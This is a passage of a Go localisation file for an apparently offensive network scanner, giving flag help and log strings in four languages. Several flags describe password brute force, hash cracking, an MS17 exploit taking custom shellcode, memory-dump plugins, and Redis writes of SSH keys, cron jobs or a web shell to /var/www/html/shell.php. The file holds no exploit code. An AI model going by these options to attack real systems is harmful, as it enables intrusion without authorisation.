"Format:\n" +
" - Single: 22\n" +
" - Range: 1-65535\n" +
" - Multiple: 22,80,3306\n" +
"Presets:\n" +
" - main: Common ports\n" +
" - service: Service ports\n" +
" - db: Database ports\n" +
" - web: Web ports\n" +
" - all: All ports\n" +
"Example: -p main, -p 80,443, -p 1-1000",
LangJA: "スキャンポートを指定:\n" +
"形式:\n" +
" - 単一: 22\n" +
" - 範囲: 1-65535\n" +
" - 複数: 22,80,3306\n" +
"プリセット:\n" +
" - main: 一般ポート\n" +
" - service: サービスポート\n" +
" - db: データベースポート\n" +
" - web: Webポート\n" +
" - all: 全ポート\n" +
"例: -p main, -p 80,443, -p 1-1000",
LangRU: "Укажите порты сканирования:\n" +
"Формат:\n" +
" - Один: 22\n" +
" - Диапазон: 1-65535\n" +
" - Несколько: 22,80,3306\n" +
"Предустановки:\n" +
" - main: Общие порты\n" +
" - service: Порты служб\n" +
" - db: Порты баз данных\n" +
" - web: Web порты\n" +
" - all: Все порты\n" +
"Пример: -p main, -p 80,443, -p 1-1000",
},
"flag_scan_mode": {
LangZH: "指定要使用的扫描插件:\n" +
" - All: 使用所有非敏感插件\n" +
" - 单个插件: 如 ssh, redis, mysql\n" +
" - 多个插件: 使用逗号分隔,如 ssh,ftp,redis\n\n" +
"插件分类:\n" +
" - 服务类: ssh, ftp, telnet, smb, rdp, vnc...\n" +
" - 数据库类: mysql, redis, mongodb, postgres...\n" +
" - Web类: webtitle, webpoc...\n" +
" - 漏洞类: ms17010...\n" +
" - 本地类: localinfo, dcinfo, minidump (需明确指定)",
LangEN: "Specify scan plugins to use:\n" +
" - All: Use all non-sensitive plugins\n" +
" - Single plugin: e.g., ssh, redis, mysql\n" +
" - Multiple plugins: comma-separated, e.g., ssh,ftp,redis\n\n" +
"Plugin categories:\n" +
" - Services: ssh, ftp, telnet, smb, rdp, vnc...\n" +
" - Databases: mysql, redis, mongodb, postgres...\n" +
" - Web: webtitle, webpoc...\n" +
" - Vulnerabilities: ms17010...\n" +
" - Local: localinfo, dcinfo, minidump (must be explicitly specified)",
LangJA: "使用するスキャンプラグインを指定:\n" +
" - All: すべての非機密プラグインを使用\n" +
" - 単一プラグイン: 例 ssh, redis, mysql\n" +
" - 複数プラグイン: カンマ区切り、例 ssh,ftp,redis\n\n" +
"プラグインカテゴリ:\n" +
" - サービス: ssh, ftp, telnet, smb, rdp, vnc...\n" +
" - データベース: mysql, redis, mongodb, postgres...\n" +
" - Web: webtitle, webpoc...\n" +
" - 脆弱性: ms17010...\n" +
" - ローカル: localinfo, dcinfo, minidump (明示的に指定が必要)",
LangRU: "Укажите используемые плагины сканирования:\n" +
" - All: Использовать все неконфиденциальные плагины\n" +
" - Один плагин: например, ssh, redis, mysql\n" +
" - Несколько плагинов: через запятую, например ssh,ftp,redis\n\n" +
"Категории плагинов:\n" +
" - Сервисы: ssh, ftp, telnet, smb, rdp, vnc...\n" +
" - Базы данных: mysql, redis, mongodb, postgres...\n" +
" - Веб: webtitle, webpoc...\n" +
" - Уязвимости: ms17010...\n" +
" - Локальные: localinfo, dcinfo, minidump (требуется явное указание)",
},
"flag_exclude_hosts": {
LangZH: "排除指定主机范围,支持CIDR格式,如: 192.168.1.1/24",
LangEN: "Exclude host ranges, supports CIDR format, e.g.: 192.168.1.1/24",
LangJA: "除外ホスト範囲を指定、CIDR形式対応、例: 192.168.1.1/24",
LangRU: "Исключить диапазоны хостов, поддерживает формат CIDR, например: 192.168.1.1/24",
},
"flag_add_users": {
LangZH: "在默认用户列表基础上添加自定义用户名",
LangEN: "Add custom usernames to default user list",
LangJA: "デフォルトユーザーリストにカスタムユーザー名を追加",
LangRU: "Добавить пользовательские имена к списку по умолчанию",
},
"flag_add_passwords": {
LangZH: "在默认密码列表基础上添加自定义密码",
LangEN: "Add custom passwords to default password list",
LangJA: "デフォルトパスワードリストにカスタムパスワードを追加",
LangRU: "Добавить пользовательские пароли к списку по умолчанию",
},
"flag_username": {
LangZH: "指定单个用户名",
LangEN: "Specify single username",
LangJA: "単一ユーザー名を指定",
LangRU: "Указать одно имя пользователя",
},
"flag_password": {
LangZH: "指定单个密码",
LangEN: "Specify single password",
LangJA: "単一パスワードを指定",
LangRU: "Указать один пароль",
},
"flag_domain": {
LangZH: "指定域名(仅用于SMB协议)",
LangEN: "Specify domain name (SMB protocol only)",
LangJA: "ドメイン名を指定(SMBプロトコルのみ)",
LangRU: "Указать доменное имя (только для протокола SMB)",
},
"flag_ssh_key": {
LangZH: "指定SSH私钥文件路径(默认为id_rsa)",
LangEN: "Specify SSH private key file path (default: id_rsa)",
LangJA: "SSH秘密鍵ファイルパスを指定(デフォルト: id_rsa)",
LangRU: "Указать путь к файлу приватного ключа SSH (по умолчанию: id_rsa)",
},
"flag_thread_num": {
LangZH: "设置扫描线程数",
LangEN: "Set number of scanning threads",
LangJA: "スキャンスレッド数を設定",
LangRU: "Установить количество потоков сканирования",
},
"flag_timeout": {
LangZH: "设置连接超时时间(单位:秒)",
LangEN: "Set connection timeout (in seconds)",
LangJA: "接続タイムアウトを設定(秒単位)",
LangRU: "Установить таймаут соединения (в секундах)",
},
"flag_live_top": {
LangZH: "仅显示指定数量的存活主机",
LangEN: "Show only specified number of alive hosts",
LangJA: "指定した数の生存ホストのみを表示",
LangRU: "Показать только указанное количество активных хостов",
},
"flag_module_thread_num": {
LangZH: "设置每个模块的最大线程数(默认:10)",
LangEN: "Set maximum threads per module (default:10)",
LangJA: "モジュールごとの最大スレッド数を設定(デフォルト:10)",
LangRU: "Установить максимальное количество потоков на модуль (по умолчанию:10)",
},
"flag_global_timeout": {
LangZH: "设置全局扫描超时时间(单位:秒,默认:180)",
LangEN: "Set global scan timeout (in seconds, default:180)",
LangJA: "グローバルスキャンのタイムアウトを設定(秒単位、デフォルト:180)",
LangRU: "Установить глобальный таймаут сканирования (в секундах, по умолчанию:180)",
},
"flag_disable_ping": {
LangZH: "禁用主机存活探测",
LangEN: "Disable host alive detection",
LangJA: "ホスト生存確認を無効化",
LangRU: "Отключить обнаружение активных хостов",
},
"flag_use_ping": {
LangZH: "使用系统ping命令替代ICMP探测",
LangEN: "Use system ping command instead of ICMP probe",
LangJA: "ICMPプローブの代わりにシステムpingコマンドを使用",
LangRU: "Использовать системную команду ping вместо ICMP-зондирования",
},
"flag_enable_fingerprint": {
LangZH: "跳过端口指纹识别",
LangEN: "Skip port fingerprint identification",
LangJA: "ポートフィンガープリント識別をスキップ",
LangRU: "Пропустить идентификацию отпечатков портов",
},
"flag_hosts_file": {
LangZH: "从文件中读取目标主机列表",
LangEN: "Read target host list from file",
LangJA: "ファイルからターゲットホストリストを読み込む",
LangRU: "Чтение списка целевых хостов из файла",
},
"flag_users_file": {
LangZH: "从文件中读取用户名字典",
LangEN: "Read username dictionary from file",
LangJA: "ファイルからユーザー名辞書を読み込む",
LangRU: "Чтение словаря имен пользователей из файла",
},
"flag_passwords_file": {
LangZH: "从文件中读取密码字典",
LangEN: "Read password dictionary from file",
LangJA: "ファイルからパスワード辞書を読み込む",
LangRU: "Чтение словаря паролей из файла",
},
"flag_hash_file": {
LangZH: "从文件中读取Hash字典",
LangEN: "Read hash dictionary from file",
LangJA: "ファイルからハッシュ辞書を読み込む",
LangRU: "Чтение словаря хэшей из файла",
},
"flag_ports_file": {
LangZH: "从文件中读取端口列表",
LangEN: "Read port list from file",
LangJA: "ファイルからポートリストを読み込む",
LangRU: "Чтение списка портов из файла",
},
"flag_exclude_ports": {
LangZH: "排除指定端口",
LangEN: "Exclude specified ports",
LangJA: "指定されたポートを除外する",
LangRU: "Исключить указанные порты",
},
"flag_target_url": {
LangZH: "指定目标URL",
LangEN: "Specify target URL",
LangJA: "ターゲットURLを指定",
LangRU: "Указать целевой URL",
},
"flag_urls_file": {
LangZH: "从文件中读取URL列表",
LangEN: "Read URL list from file",
LangJA: "ファイルからURLリストを読み込む",
LangRU: "Чтение списка URL из файла",
},
"flag_cookie": {
LangZH: "设置HTTP请求Cookie",
LangEN: "Set HTTP request cookie",
LangJA: "HTTPリクエストのCookieを設定",
LangRU: "Установить cookie HTTP-запроса",
},
"flag_web_timeout": {
LangZH: "设置Web请求超时时间(单位:秒)",
LangEN: "Set Web request timeout (in seconds)",
LangJA: "Webリクエストタイムアウトを設定(秒単位)",
LangRU: "Установить таймаут веб-запроса (в секундах)",
},
"flag_http_proxy": {
LangZH: "设置HTTP代理服务器",
LangEN: "Set HTTP proxy server",
LangJA: "HTTPプロキシサーバーを設定",
LangRU: "Установить HTTP прокси-сервер",
},
"flag_socks5_proxy": {
LangZH: "设置Socks5代理(用于TCP连接,将影响超时设置)",
LangEN: "Set Socks5 proxy (for TCP connections, will affect timeout settings)",
LangJA: "Socks5プロキシを設定(TCP接続用、タイムアウト設定に影響します)",
LangRU: "Установить Socks5 прокси (для TCP соединений, влияет на настройки таймаута)",
},
"flag_local_mode": {
LangZH: "启用本地信息收集模式",
LangEN: "Enable local information gathering mode",
LangJA: "ローカル情報収集モードを有効化",
LangRU: "Включить режим сбора локальной информации",
},
// POC配置相关
"flag_poc_path": {
LangZH: "指定自定义POC文件路径",
LangEN: "Specify custom POC file path",
LangJA: "カスタムPOCファイルパスを指定",
LangRU: "Указать путь к пользовательскому файлу POC",
},
"flag_poc_name": {
LangZH: "指定要使用的POC名称,如: -pocname weblogic",
LangEN: "Specify POC name to use, e.g.: -pocname weblogic",
LangJA: "使用するPOC名を指定、例: -pocname weblogic",
LangRU: "Указать имя используемого POC, например: -pocname weblogic",
},
"flag_poc_full": {
LangZH: "启用完整POC扫描(如测试shiro全部100个key)",
LangEN: "Enable full POC scan (e.g. test all 100 shiro keys)",
LangJA: "完全POCスキャンを有効化(例: shiroの全100キーをテスト)",
LangRU: "Включить полное POC-сканирование (например, тест всех 100 ключей shiro)",
},
"flag_dns_log": {
LangZH: "启用dnslog进行漏洞验证",
LangEN: "Enable dnslog for vulnerability verification",
LangJA: "脆弱性検証にdnslogを有効化",
LangRU: "Включить dnslog для проверки уязвимостей",
},
"flag_poc_num": {
LangZH: "设置POC扫描并发数",
LangEN: "Set POC scan concurrency",
LangJA: "POCスキャンの同時実行数を設定",
LangRU: "Установить параллельность POC-сканирования",
},
"flag_no_poc": {
LangZH: "禁用POC扫描",
LangEN: "Disable POC scanning",
LangJA: "POCスキャンを無効にする",
LangRU: "Отключить POC-сканирование",
},
// Redis配置相关
"flag_redis_file": {
LangZH: "指定Redis写入的SSH公钥文件",
LangEN: "Specify SSH public key file for Redis write",
LangJA: "Redis書き込み用のSSH公開鍵ファイルを指定",
LangRU: "Указать файл публичного ключа SSH для записи Redis",
},
"flag_redis_shell": {
LangZH: "指定Redis写入的计划任务内容",
LangEN: "Specify cron task content for Redis write",
LangJA: "Redis書き込み用のcronタスク内容を指定",
LangRU: "Указать содержимое cron-задачи для записи Redis",
},
"flag_disable_redis": {
LangZH: "禁用Redis安全检测",
LangEN: "Disable Redis security detection",
LangJA: "Redisセキュリティ検出を無効化",
LangRU: "Отключить обнаружение безопасности Redis",
},
"flag_redis_write_path": {
LangZH: "指定Redis写入的文件路径(如:/var/www/html/shell.php)",
LangEN: "Specify file path for Redis arbitrary write (e.g., /var/www/html/shell.php)",
LangJA: "Redis書き込み用のファイルパスを指定(例:/var/www/html/shell.php)",
LangRU: "Указать путь к файлу для произвольной записи Redis (например, /var/www/html/shell.php)",
},
"flag_redis_write_content": {
LangZH: "指定Redis写入的文件内容(与-rwp配合使用)",
LangEN: "Specify content for Redis arbitrary write (use with -rwp)",
LangJA: "Redis書き込み用の内容を指定(-rwpと併用)",
LangRU: "Указать содержимое для произвольной записи Redis (использовать с -rwp)",
},
"flag_redis_write_file": {
LangZH: "指定Redis写入的本地文件路径(将文件内容写入-rwp指定的路径)",
LangEN: "Specify local file to read content from for Redis write (written to path specified by -rwp)",
LangJA: "Redis書き込み用のローカルファイルパスを指定(内容が-rwpで指定されたパスに書き込まれる)",
LangRU: "Указать локальный файл для чтения содержимого для записи Redis (записывается по пути, указанному в -rwp)",
},
// 暴力破解配置
"flag_disable_brute": {
LangZH: "禁用密码暴力破解",
LangEN: "Disable password brute force",
LangJA: "パスワードブルートフォースを無効化",
LangRU: "Отключить перебор паролей",
},
"flag_max_retries": {
LangZH: "设置最大重试次数",
LangEN: "Set maximum retry attempts",
LangJA: "最大再試行回数を設定",
LangRU: "Установить максимальное количество попыток",
},
// 其他配置
"flag_remote_path": {
LangZH: "指定FCG/SMB远程文件路径",
LangEN: "Specify FCG/SMB remote file path",
LangJA: "FCG/SMBリモートファイルパスを指定",
LangRU: "Указать удаленный путь к файлу FCG/SMB",
},
"flag_hash_value": {
LangZH: "指定要破解的Hash值",
LangEN: "Specify hash value to crack",
LangJA: "クラックするハッシュ値を指定",
LangRU: "Указать хэш-значение для взлома",
},
"flag_shellcode": {
LangZH: "指定MS17漏洞利用的shellcode",
LangEN: "Specify shellcode for MS17 exploit",
LangJA: "MS17エクスプロイト用のシェルコードを指定",
LangRU: "Указать шеллкод для эксплойта MS17",
},
"flag_enable_wmi": {
LangZH: "启用WMI协议扫描",
LangEN: "Enable WMI protocol scan",
LangJA: "WMIプロトコルスキャンを有効化",
LangRU: "Включить сканирование протокола WMI",
},
// 输出配置
"flag_output_file": {
LangZH: "指定结果输出文件名",
LangEN: "Specify output result filename",
LangJA: "結果出力ファイル名を指定",
LangRU: "Указать имя файла для вывода результатов",
},
"flag_output_format": {
LangZH: "指定输出格式 (txt/json/csv)",
LangEN: "Specify output format (txt/json/csv)",
LangJA: "出力形式を指定 (txt/json/csv)",
LangRU: "Указать формат вывода (txt/json/csv)",
},
"flag_disable_save": {
LangZH: "禁止保存扫描结果",
LangEN: "Disable saving scan results",
LangJA: "スキャン結果の保存を無効化",
LangRU: "Отключить сохранение результатов сканирования",
},
"flag_silent_mode": {
LangZH: "启用静默扫描模式(减少屏幕输出)",
LangEN: "Enable silent scan mode (reduce screen output)",
LangJA: "サイレントスキャンモードを有効化(画面出力を減らす)",
LangRU: "Включить тихий режим сканирования (уменьшить вывод на экран)",
},
"flag_no_color": {
LangZH: "禁用彩色输出显示",
LangEN: "Disable colored output display",
LangJA: "カラー出力表示を無効化",
LangRU: "Отключить цветной вывод",
},
"flag_log_level": {
LangZH: "日志输出级别(ALL/SUCCESS/ERROR/INFO/DEBUG)",
LangEN: "Log output level (ALL/SUCCESS/ERROR/INFO/DEBUG)",
LangJA: "ログ出力レベル(ALL/SUCCESS/ERROR/INFO/DEBUG)",
LangRU: "Уровень вывода журнала (ALL/SUCCESS/ERROR/INFO/DEBUG)",
},
"flag_show_progress": {
LangZH: "开启进度条显示",
LangEN: "Enable progress bar display",
LangJA: "プログレスバー表示を有効化",
LangRU: "Включить отображение индикатора выполнения",
},
"flag_show_scan_plan": {
LangZH: "显示扫描计划详情",
LangEN: "Show scan plan details",
LangJA: "スキャン計画の詳細を表示する",
LangRU: "Показать детали плана сканирования",
},
"flag_slow_log_output": {
LangZH: "启用慢速日志输出,便于肉眼观察",
LangEN: "Enable slow log output for better visual observation",
LangJA: "目視観察のための低速ログ出力を有効にする",
LangRU: "Включить медленный вывод журнала для лучшего визуального наблюдения",
},
"no_username_specified": {
LangZH: "加载用户名: %d 个",
LangEN: "Loaded usernames: %d",
LangJA: "ユーザー名を読み込み: %d 個",
LangRU: "Загружено имен пользователей: %d",
},
"load_usernames_from_file": {
LangZH: "从文件加载用户名: %d 个",
LangEN: "Loaded usernames from file: %d",
LangJA: "ファイルからユーザー名を読み込み: %d 個",
LangRU: "Загружено имен пользователей из файла: %d",
},
"total_usernames": {
LangZH: "用户名总数: %d 个",
LangEN: "Total usernames: %d",
LangJA: "ユーザー名の総数: %d 個",
LangRU: "Всего имен пользователей: %d",
},
"load_passwords": {
LangZH: "加载密码: %d 个",
LangEN: "Loaded passwords: %d",
LangJA: "パスワードを読み込み: %d 個",
LangRU: "Загружено паролей: %d",
},
"load_passwords_from_file": {
LangZH: "从文件加载密码: %d 个",
LangEN: "Loaded passwords from file: %d",
LangJA: "ファイルからパスワードを読み込み: %d 個",
LangRU: "Загружено паролей из файла: %d",
},
"invalid_hash": {
LangZH: "无效的哈希值: %s (长度!=32)",
LangEN: "Invalid hash: %s (length!=32)",
LangJA: "無効なハッシュ値: %s (長さ!=32)",
LangRU: "Недопустимый хэш: %s (длина!=32)",
},
"load_valid_hashes": {
LangZH: "加载有效哈希值: %d 个",
LangEN: "Loaded valid hashes: %d",
LangJA: "有効なハッシュ値を読み込み: %d 個",
LangRU: "Загружено допустимых хэшей: %d",
},
"load_urls": {
LangZH: "加载URL: %d 个",
LangEN: "Loaded URLs: %d",
LangJA: "URLを読み込み: %d 個",
LangRU: "Загружено URL: %d",
},
"load_urls_from_file": {
LangZH: "从文件加载URL: %d 个",
LangEN: "Loaded URLs from file: %d",
LangJA: "ファイルからURLを読み込み: %d 個",
LangRU: "Загружено URL из файла: %d",
},
"load_hosts_from_file": {
LangZH: "从文件加载主机: %d 个",
LangEN: "Loaded hosts from file: %d",
LangJA: "ファイルからホストを読み込み: %d 個",
LangRU: "Загружено хостов из файла: %d",
},
"load_ports_from_file": {
LangZH: "从文件加载端口配置",
LangEN: "Loaded ports from file",
LangJA: "ファイルからポート設定を読み込み",
LangRU: "Загружены порты из файла",
},
"open_file_failed": {
LangZH: "打开文件失败 %s: %v",
LangEN: "Failed to open file %s: %v",
LangJA: "ファイルを開けませんでした %s: %v",
LangRU: "Не удалось открыть файл %s: %v",
},
"read_file_failed": {
LangZH: "读取文件错误 %s: %v",
LangEN: "Error reading file %s: %v",
LangJA: "ファイル読み込みエラー %s: %v",
LangRU: "Ошибка чтения файла %s: %v",
},
"read_file_success": {
LangZH: "读取文件成功 %s: %d 行",
LangEN: "Successfully read file %s: %d lines",
LangJA: "ファイル読み込み成功 %s: %d 行",
LangRU: "Успешно прочитан файл %s: %d строк",
},
"specify_scan_params": {
LangZH: "请指定扫描参数",
LangEN: "Please specify scan parameters",
LangJA: "スキャンパラメータを指定してください",
LangRU: "Пожалуйста, укажите параметры сканирования",
},
"params_conflict": {
LangZH: "参数 -h、-u、-local 不能同时使用",
LangEN: "Parameters -h, -u, -local cannot be used simultaneously",
LangJA: "パラメータ -h、-u、-local は同時に使用できません",
LangRU: "Параметры -h, -u, -local нельзя использовать одновременно",
},
"extra_ports": {
LangZH: "额外端口: %s",
LangEN: "Extra ports: %s",
LangJA: "追加ポート: %s",
LangRU: "Дополнительные порты: %s",
},
"extra_usernames": {
LangZH: "额外用户名: %s",
LangEN: "Extra usernames: %s",
LangJA: "追加ユーザー名: %s",
LangRU: "Дополнительные имена пользователей: %s",
},
"extra_passwords": {
LangZH: "额外密码: %s",
LangEN: "Extra passwords: %s",
LangJA: "追加パスワード: %s",
LangRU: "Дополнительные пароли: %s",
},
"socks5_proxy": {
LangZH: "Socks5代理: %s",
LangEN: "Socks5 proxy: %s",
LangJA: "Socks5プロキシ: %s",
LangRU: "Socks5 прокси: %s",
},
"socks5_proxy_error": {
LangZH: "Socks5代理格式错误: %v",
LangEN: "Invalid Socks5 proxy format: %v",
LangJA: "Socks5プロキシフォーマットエラー: %v",
LangRU: "Неверный формат Socks5 прокси: %v",
},
"http_proxy": {
LangZH: "HTTP代理: %s",
LangEN: "HTTP proxy: %s",
LangJA: "HTTPプロキシ: %s",
LangRU: "HTTP прокси: %s",
},
"unsupported_proxy": {
LangZH: "不支持的代理类型",
LangEN: "Unsupported proxy type",
LangJA: "サポートされていないプロキシタイプ",
LangRU: "Неподдерживаемый тип прокси",
},
"proxy_format_error": {
LangZH: "代理格式错误: %v",
LangEN: "Invalid proxy format: %v",
LangJA: "プロキシフォーマットエラー: %v",
LangRU: "Неверный формат прокси: %v",
},
"hash_length_error": {
LangZH: "Hash长度必须为32位",
LangEN: "Hash length must be 32 bits",
LangJA: "ハッシュ長は32ビットでなければなりません",
LangRU: "Длина хэша должна быть 32 бита",
},
"hash_decode_failed": {
LangZH: "Hash解码失败: %s",
LangEN: "Hash decode failed: %s",
LangJA: "ハッシュのデコードに失敗: %s",
LangRU: "Не удалось декодировать хэш: %s",
},
"parse_ip_error": {
LangZH: "主机解析错误\n" +
"支持的格式: \n" +
"192.168.1.1 (单个IP)\n" +
"192.168.1.1/8 (8位子网)\n" +
"192.168.1.1/16 (16位子网)\n" +
"192.168.1.1/24 (24位子网)\n" +
"192.168.1.1,192.168.1.2 (IP列表)\n" +
"192.168.1.1-192.168.255.255 (IP范围)\n" +
"192.168.1.1-255 (最后一位简写范围)",
LangEN: "Host parsing error\n" +
"Supported formats: \n" +
"192.168.1.1 (Single IP)\n" +
"192.168.1.1/8 (8-bit subnet)\n" +
"192.168.1.1/16 (16-bit subnet)\n" +
"192.168.1.1/24 (24-bit subnet)\n" +
"192.168.1.1,192.168.1.2 (IP list)\n" +
"192.168.1.1-192.168.255.255 (IP range)\n" +
"192.168.1.1-255 (Last octet range)",
LangJA: "ホスト解析エラー\n" +
"サポートされる形式: \n" +
"192.168.1.1 (単一IP)\n" +
"192.168.1.1/8 (8ビットサブネット)\n" +
"192.168.1.1/16 (16ビットサブネット)\n" +
"192.168.1.1/24 (24ビットサブネット)\n" +
"192.168.1.1,192.168.1.2 (IPリスト)\n" +
"192.168.1.1-192.168.255.255 (IP範囲)\n" +
"192.168.1.1-255 (最後のオクテット範囲)",
LangRU: "Ошибка разбора хоста\n" +
"Поддерживаемые форматы: \n" +
"192.168.1.1 (Одиночный IP)\n" +
"192.168.1.1/8 (8-битная подсеть)\n" +
"192.168.1.1/16 (16-битная подсеть)\n" +
"192.168.1.1/24 (24-битная подсеть)\n" +
"192.168.1.1,192.168.1.2 (Список IP)\n" +
"192.168.1.1-192.168.255.255 (Диапазон IP)\n" +
"192.168.1.1-255 (Диапазон последнего октета)",
},
"host_port_parsed": {
LangZH: "已解析主机端口组合,端口设置为: %s",
LangEN: "Host port combination parsed, port set to: %s",
LangJA: "ホストポートの組み合わせを解析し、ポートを設定: %s",
LangRU: "Комбинация хост-порт разобрана, порт установлен на: %s",
},
"read_host_file_failed": {
LangZH: "读取主机文件失败: %v",
LangEN: "Failed to read host file: %v",
LangJA: "ホストファイルの読み取りに失敗: %v",
LangRU: "Не удалось прочитать файл хостов: %v",
},
"extra_hosts_loaded": {
LangZH: "从文件加载额外主机: %d 个",
LangEN: "Loaded extra hosts from file: %d",
LangJA: "ファイルから追加ホストを読み込み: %d",
LangRU: "Загружено дополнительных хостов из файла: %d",
},
"hosts_excluded": {
LangZH: "已排除指定主机: %d 个",
LangEN: "Excluded specified hosts: %d",
LangJA: "指定されたホストを除外: %d",
LangRU: "Исключено указанных хостов: %d",
},
"final_valid_hosts": {
LangZH: "最终有效主机数量: %d",
LangEN: "Final valid host count: %d",
LangJA: "最終的な有効ホスト数: %d",
LangRU: "Итоговое количество действительных хостов: %d",
},
"invalid_ip_format": {
LangZH: "无效的IP格式: %s",
LangEN: "Invalid IP format: %s",
LangJA: "無効なIP形式: %s",
LangRU: "Неверный формат IP: %s",
},
"cidr_parse_failed": {
LangZH: "CIDR格式解析失败: %s, %v",
LangEN: "CIDR format parse failed: %s, %v",
LangJA: "CIDR形式の解析に失敗: %s, %v",
LangRU: "Ошибка разбора формата CIDR: %s, %v",
},
"parse_cidr_to_range": {
LangZH: "解析CIDR %s -> IP范围 %s",
LangEN: "Parse CIDR %s -> IP range %s",
LangJA: "CIDR %s -> IP範囲 %s を解析",
LangRU: "Разбор CIDR %s -> диапазон IP %s",
},
"ip_range_format_error": {
LangZH: "IP范围格式错误: %s",
LangEN: "IP range format error: %s",
LangJA: "IP範囲形式エラー: %s",
LangRU: "Ошибка формата диапазона IP: %s",
},
"invalid_ip_range": {
LangZH: "IP范围无效: %d-%d",
LangEN: "Invalid IP range: %d-%d",
LangJA: "無効なIP範囲: %d-%d",
LangRU: "Недопустимый диапазон IP: %d-%d",
},
"generate_ip_range": {
LangZH: "生成IP范围: %s.%d - %s.%d",
LangEN: "Generate IP range: %s.%d - %s.%d",
LangJA: "IP範囲を生成: %s.%d - %s.%d",
LangRU: "Создание диапазона IP: %s.%d - %s.%d",
},
"ip_format_error": {
LangZH: "IP格式错误: %s",
LangEN: "IP format error: %s",
LangJA: "IP形式エラー: %s",
LangRU: "Ошибка формата IP: %s",
},
"cidr_range": {
LangZH: "CIDR范围: %s",
LangEN: "CIDR range: %s",
LangJA: "CIDR範囲: %s",
LangRU: "Диапазон CIDR: %s",
},
"invalid_port": {
LangZH: "忽略无效端口: %s",
LangEN: "Ignore invalid port: %s",
LangJA: "無効なポートを無視: %s",
LangRU: "Игнорирование недопустимого порта: %s",
},
"parse_ip_port": {
LangZH: "解析IP端口组合: %s",
LangEN: "Parse IP port combination: %s",
LangJA: "IPポートの組み合わせを解析: %s",
LangRU: "Разбор комбинации IP-порт: %s",
},
"parse_ip_address": {
LangZH: "解析IP地址: %s",
LangEN: "Parse IP address: %s",
LangJA: "IPアドレスを解析: %s",
LangRU: "Разбор IP-адреса: %s",
},
"read_file_error": {
LangZH: "读取文件错误: %v",
LangEN: "Read file error: %v",
LangJA: "ファイル読み取りエラー: %v",
LangRU: "Ошибка чтения файла: %v",
},
"file_parse_complete": {
LangZH: "从文件解析完成: %d 个IP地址",
LangEN: "File parsing complete: %d IP addresses",
LangJA: "ファイルの解析が完了: %d 個のIPアドレス",
LangRU: "Разбор файла завершен: %d IP-адресов",
},
"parse_subnet": {
LangZH: "解析网段: %s.0.0.0/8",
LangEN: "Parse subnet: %s.0.0.0/8",
LangJA: "サブネットを解析: %s.0.0.0/8",
LangRU: "Разбор подсети: %s.0.0.0/8",
},
"sample_ip_generated": {
LangZH: "生成采样IP: %d 个",
LangEN: "Generated sample IPs: %d",
LangJA: "サンプルIPを生成: %d 個",
LangRU: "Сгенерировано примеров IP: %d",
},
"port_range_format_error": {
LangZH: "端口范围格式错误: %s",
LangEN: "Invalid port range format: %s",
LangJA: "ポート範囲フォーマットエラー: %s",
LangRU: "Неверный формат диапазона портов: %s",
},
"ignore_invalid_port": {
LangZH: "忽略无效端口: %d",
LangEN: "Ignore invalid port: %d",
LangJA: "無効なポートを無視: %d",
LangRU: "Игнорирование недопустимого порта: %d",
},
"valid_port_count": {
LangZH: "有效端口数量: %d",
LangEN: "Valid port count: %d",
LangJA: "有効なポート数: %d",
LangRU: "Количество действительных портов: %d",
},
"tcp_conn_failed": {
LangZH: "建立TCP连接失败: %v",
LangEN: "Failed to establish TCP connection: %v",
LangJA: "TCP接続の確立に失敗しました: %v",
LangRU: "Не удалось установить TCP-соединение: %v",
},
"socks5_create_failed": {
LangZH: "创建Socks5代理失败: %v",
LangEN: "Failed to create Socks5 proxy: %v",
LangJA: "Socks5プロキシの作成に失敗しました: %v",
LangRU: "Не удалось создать прокси Socks5: %v",
},
"socks5_conn_failed": {
LangZH: "通过Socks5建立连接失败: %v",
LangEN: "Failed to establish connection through Socks5: %v",
LangJA: "Socks5経由での接続確立に失敗しました: %v",
LangRU: "Не удалось установить соединение через Socks5: %v",
},
"socks5_parse_failed": {
LangZH: "解析Socks5代理地址失败: %v",
LangEN: "Failed to parse Socks5 proxy address: %v",
LangJA: "Socks5プロキシアドレスの解析に失敗しました: %v",
LangRU: "Не удалось разобрать адрес прокси Socks5: %v",
},
"socks5_only": {
LangZH: "仅支持socks5代理",
LangEN: "Only socks5 proxy is supported",
LangJA: "socks5プロキシのみサポートされています",
LangRU: "Поддерживается только прокси socks5",
},
"flag_language": {
LangZH: "指定界面语言 (zh:中文, en:英文, ja:日文, ru:俄文)",
LangEN: "Specify interface language (zh:Chinese, en:English, ja:Japanese, ru:Russian)",
LangJA: "インターフェース言語を指定 (zh:中国語, en:英語, ja:日本語, ru:ロシア語)",
LangRU: "Указать язык интерфейса (zh:Китайский, en:Английский, ja:Японский, ru:Русский)",
},
"icmp_listen_failed": {
LangZH: "ICMP监听失败: %v",
LangEN: "ICMP listen failed: %v",
LangJA: "ICMPリッスンに失敗: %v",
LangRU: "Ошибка прослушивания ICMP: %v",
},
"trying_no_listen_icmp": {
LangZH: "正在尝试无监听ICMP探测...",
LangEN: "Trying ICMP probe without listening...",
LangJA: "リッスンなしICMP探知を試みています...",
LangRU: "Пробуем ICMP-зондирование без прослушивания...",
},
"icmp_connect_failed": {
LangZH: "ICMP连接失败: %v",
LangEN: "ICMP connection failed: %v",
LangJA: "ICMP接続に失敗: %v",
LangRU: "Ошибка подключения ICMP: %v",
},
"insufficient_privileges": {
LangZH: "当前用户权限不足,无法发送ICMP包",
LangEN: "Insufficient privileges to send ICMP packets",
LangJA: "ICMPパケットを送信する権限が不足しています",
LangRU: "Недостаточно прав для отправки ICMP-пакетов",
},
"switching_to_ping": {
LangZH: "切换为PING方式探测...",
LangEN: "Switching to PING probe...",
LangJA: "PING探知に切り替えています...",
LangRU: "Переключение на PING-зондирование...",
},
"subnet_16_alive": {
LangZH: "%s.0.0/16 存活主机数: %d",
LangEN: "%s.0.0/16 alive hosts: %d",
LangJA: "%s.0.0/16 生存ホスト数: %d",
LangRU: "%s.0.0/16 живых хостов: %d",
},
"subnet_24_alive": {
LangZH: "%s.0/24 存活主机数: %d",
LangEN: "%s.0/24 alive hosts: %d",
LangJA: "%s.0/24 生存ホスト数: %d",
LangRU: "%s.0/24 живых хостов: %d",
},
"target_alive": {
LangZH: "目标 %-15s 存活 (%s)",
LangEN: "Target %-15s is alive (%s)",
LangJA: "ターゲット %-15s は生存 (%s)",
LangRU: "Цель %-15s жива (%s)",
},
}
// 当前语言设置
var currentLang = LangZH
func SetLanguage() {
// 使用flag设置的语言
switch strings.ToLower(Language) {
case LangZH, LangEN, LangJA, LangRU:
currentLang = strings.ToLower(Language)
default:
currentLang = LangEN // 不支持的语言默认使用英文
}
}
